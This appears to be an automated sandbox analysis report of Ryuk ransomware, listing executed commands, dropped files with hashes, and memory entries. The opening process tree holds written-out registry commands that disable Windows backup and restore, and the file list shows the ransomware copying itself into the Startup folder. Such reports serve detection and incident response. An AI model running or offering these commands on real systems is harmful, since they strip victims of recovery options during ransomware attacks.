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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupToOptical /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\reg.exereg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableBackupLauncher /t REG_DWORD /d 1 /f3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client /v DisableRestoreUI /t REG_DWORD /d 1 /f2⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\ProgramData\RYUKIDFilesize
8B
MD53d1b99acb27c0126675e74e0d860c057
SHA1ec8fcf47774cb63cc44d042a12c961cce03933a4
SHA2564ed2c30286b41cdccfb75b2d3c6f269beb0293059620281668c844f1a8dafb53
SHA5126df19ab4a6489d167c196a02414779458825e7ffdec14bf6e2b65017e384e1b51cea6fdc1e73e1d59cb963aa9852ee4e245fb0d3bf9edc7ed95b432e632d5854
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C:\ProgramData\RyukReadMe.txtFilesize
1KB
MD53cfd6ef3b2825aa6ce421e10604ff452
SHA17c7c75df4105d3b0d69d1e03220f4d24644a8bde
SHA25665adfc7e8a2bf62ec815a0aded844c1f0812576d655e523201b02ca5ffe3313d
SHA512d6c130f880ae02ff9f1d08e4b8c825d42f0ea640bd74faf16841a13438976b5e41b94d6260da1622848c3197ad25f446064fd60264b62d992b87c780dbb693fc
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C:\ProgramData\hrmlog1Filesize
2KB
MD5d32a13d2a39fd672ab06cda60eace717
SHA1ff8b3b93b6b8ac4f795e1a15540a37ee1a735c4e
SHA25618afefd504f2c1f816eeba9df00671009f9fc8f44915ae62c7dad214684af437
SHA512e89652d2d62092d0c4368a456c8f3ef37561f9f3128e2d9128230a098be75c79123f571ed621d3cae80134da1c37acaa6d0f1680de9bf97f87448c887b4161d7
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C:\ProgramData\hrmlog1Filesize
2KB
MD5d32a13d2a39fd672ab06cda60eace717
SHA1ff8b3b93b6b8ac4f795e1a15540a37ee1a735c4e
SHA25618afefd504f2c1f816eeba9df00671009f9fc8f44915ae62c7dad214684af437
SHA512e89652d2d62092d0c4368a456c8f3ef37561f9f3128e2d9128230a098be75c79123f571ed621d3cae80134da1c37acaa6d0f1680de9bf97f87448c887b4161d7
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C:\ProgramData\hrmlog2Filesize
292B
MD538eb014bc309be66dd2eb004f8fb6fb0
SHA1ad3c9ba4a5b75a7c8cbc6645c1595004ba3b37fe
SHA256d50632c488d04a8f55dbca1312c6d266a050e8fe0994e7a6cb8cc4e6b636c582
SHA51267a28dc58c1046dcc176919bb7e014beda652ba89806832ff951b0a69aec66b2f703ea015567312520f77141068fcd5a16a35d2007118cd33f0421403d081d03
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C:\ProgramData\hrmlog2Filesize
292B
MD538eb014bc309be66dd2eb004f8fb6fb0
SHA1ad3c9ba4a5b75a7c8cbc6645c1595004ba3b37fe
SHA256d50632c488d04a8f55dbca1312c6d266a050e8fe0994e7a6cb8cc4e6b636c582
SHA51267a28dc58c1046dcc176919bb7e014beda652ba89806832ff951b0a69aec66b2f703ea015567312520f77141068fcd5a16a35d2007118cd33f0421403d081d03
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C:\ProgramData\ryuk.exeFilesize
885KB
MD535194c73ff38dd6c3bed7c0efcff6826
SHA11a1ebd30f4a3498cc09824b6fdfdf1b8d9ae9db1
SHA2565fce1d810a5e1c7536496c1b73eff77c9c3d92ac41f86959a1be5349663403ae
SHA512cf2ed61ffdfad8067aff8776e0dab1f27ea2551f7497108a6cca7eb0105a5f96ea1453dde29f488433cc645e55104d7397ee4f35db51526993823ef46763f28f
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C:\Users\Admin\AppData\Local\Temp\RYUKIDFilesize
8B
MD53d1b99acb27c0126675e74e0d860c057
SHA1ec8fcf47774cb63cc44d042a12c961cce03933a4
SHA2564ed2c30286b41cdccfb75b2d3c6f269beb0293059620281668c844f1a8dafb53
SHA5126df19ab4a6489d167c196a02414779458825e7ffdec14bf6e2b65017e384e1b51cea6fdc1e73e1d59cb963aa9852ee4e245fb0d3bf9edc7ed95b432e632d5854
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C:\Users\Admin\AppData\Local\Temp\hrmlog1Filesize
2KB
MD5d32a13d2a39fd672ab06cda60eace717
SHA1ff8b3b93b6b8ac4f795e1a15540a37ee1a735c4e
SHA25618afefd504f2c1f816eeba9df00671009f9fc8f44915ae62c7dad214684af437
SHA512e89652d2d62092d0c4368a456c8f3ef37561f9f3128e2d9128230a098be75c79123f571ed621d3cae80134da1c37acaa6d0f1680de9bf97f87448c887b4161d7
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C:\Users\Admin\AppData\Local\Temp\hrmlog2Filesize
292B
MD538eb014bc309be66dd2eb004f8fb6fb0
SHA1ad3c9ba4a5b75a7c8cbc6645c1595004ba3b37fe
SHA256d50632c488d04a8f55dbca1312c6d266a050e8fe0994e7a6cb8cc4e6b636c582
SHA51267a28dc58c1046dcc176919bb7e014beda652ba89806832ff951b0a69aec66b2f703ea015567312520f77141068fcd5a16a35d2007118cd33f0421403d081d03
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ryuk.exeFilesize
885KB
MD535194c73ff38dd6c3bed7c0efcff6826
SHA11a1ebd30f4a3498cc09824b6fdfdf1b8d9ae9db1
SHA2565fce1d810a5e1c7536496c1b73eff77c9c3d92ac41f86959a1be5349663403ae
SHA512cf2ed61ffdfad8067aff8776e0dab1f27ea2551f7497108a6cca7eb0105a5f96ea1453dde29f488433cc645e55104d7397ee4f35db51526993823ef46763f28f
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memory/116-185-0x0000000000000000-mapping.dmp
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memory/1048-190-0x0000000000000000-mapping.dmp
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memory/1084-182-0x0000000000000000-mapping.dmp
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memory/1240-201-0x0000000000000000-mapping.dmp
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memory/1424-200-0x0000000000000000-mapping.dmp
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memory/1428-199-0x0000000000000000-mapping.dmp
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memory/1712-152-0x0000000000000000-mapping.dmp
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memory/1776-184-0x0000000000000000-mapping.dmp
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memory/1796-192-0x0000000000000000-mapping.dmp
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memory/1828-153-0x0000000000000000-mapping.dmp
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memory/1976-203-0x0000000000000000-mapping.dmp
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memory/1984-151-0x0000000000000000-mapping.dmp
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memory/2008-171-0x0000000000000000-mapping.dmp
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memory/2040-134-0x0000000000000000-mapping.dmp
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memory/2056-169-0x0000000000000000-mapping.dmp
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memory/2084-154-0x0000000000000000-mapping.dmp
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memory/2140-138-0x0000000000000000-mapping.dmp
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memory/2152-189-0x0000000000000000-mapping.dmp
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memory/2212-206-0x0000000000000000-mapping.dmp
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memory/2376-204-0x0000000000000000-mapping.dmp
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memory/2540-137-0x0000000000000000-mapping.dmp
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memory/2708-146-0x0000000000000000-mapping.dmp
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memory/2896-202-0x0000000000000000-mapping.dmp
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memory/2920-132-0x0000000000000000-mapping.dmp
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memory/3040-136-0x0000000000000000-mapping.dmp
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memory/3060-187-0x0000000000000000-mapping.dmp
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memory/3060-156-0x0000000000000000-mapping.dmp
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memory/3148-164-0x0000000000000000-mapping.dmp
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memory/3292-143-0x0000000000000000-mapping.dmp
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memory/3392-188-0x0000000000000000-mapping.dmp
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memory/3460-175-0x0000000000000000-mapping.dmp
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memory/3476-149-0x0000000000000000-mapping.dmp
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memory/3484-183-0x0000000000000000-mapping.dmp
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memory/3540-174-0x0000000000000000-mapping.dmp
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memory/3544-176-0x0000000000000000-mapping.dmp
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memory/3592-173-0x0000000000000000-mapping.dmp
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memory/3600-133-0x0000000000000000-mapping.dmp
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memory/3696-194-0x0000000000000000-mapping.dmp
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memory/3708-145-0x0000000000000000-mapping.dmp
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memory/3752-157-0x0000000000000000-mapping.dmp
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memory/3784-198-0x0000000000000000-mapping.dmp
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memory/3912-191-0x0000000000000000-mapping.dmp
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memory/3940-165-0x0000000000000000-mapping.dmp
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memory/4052-178-0x0000000000000000-mapping.dmp
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memory/4088-161-0x0000000000000000-mapping.dmp
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memory/4168-179-0x0000000000000000-mapping.dmp
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memory/4208-139-0x0000000000000000-mapping.dmp
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memory/4240-155-0x0000000000000000-mapping.dmp
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memory/4244-160-0x0000000000000000-mapping.dmp
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memory/4276-196-0x0000000000000000-mapping.dmp
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memory/4340-186-0x0000000000000000-mapping.dmp
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memory/4360-180-0x0000000000000000-mapping.dmp
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memory/4392-148-0x0000000000000000-mapping.dmp
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memory/4408-197-0x0000000000000000-mapping.dmp
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memory/4476-181-0x0000000000000000-mapping.dmp
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memory/4808-195-0x0000000000000000-mapping.dmp
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memory/4860-144-0x0000000000000000-mapping.dmp
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memory/4896-142-0x0000000000000000-mapping.dmp
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memory/4908-177-0x0000000000000000-mapping.dmp
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memory/4952-205-0x0000000000000000-mapping.dmp
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memory/4964-140-0x0000000000000000-mapping.dmp
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memory/4992-150-0x0000000000000000-mapping.dmp
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memory/5008-193-0x0000000000000000-mapping.dmp
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memory/5060-147-0x0000000000000000-mapping.dmp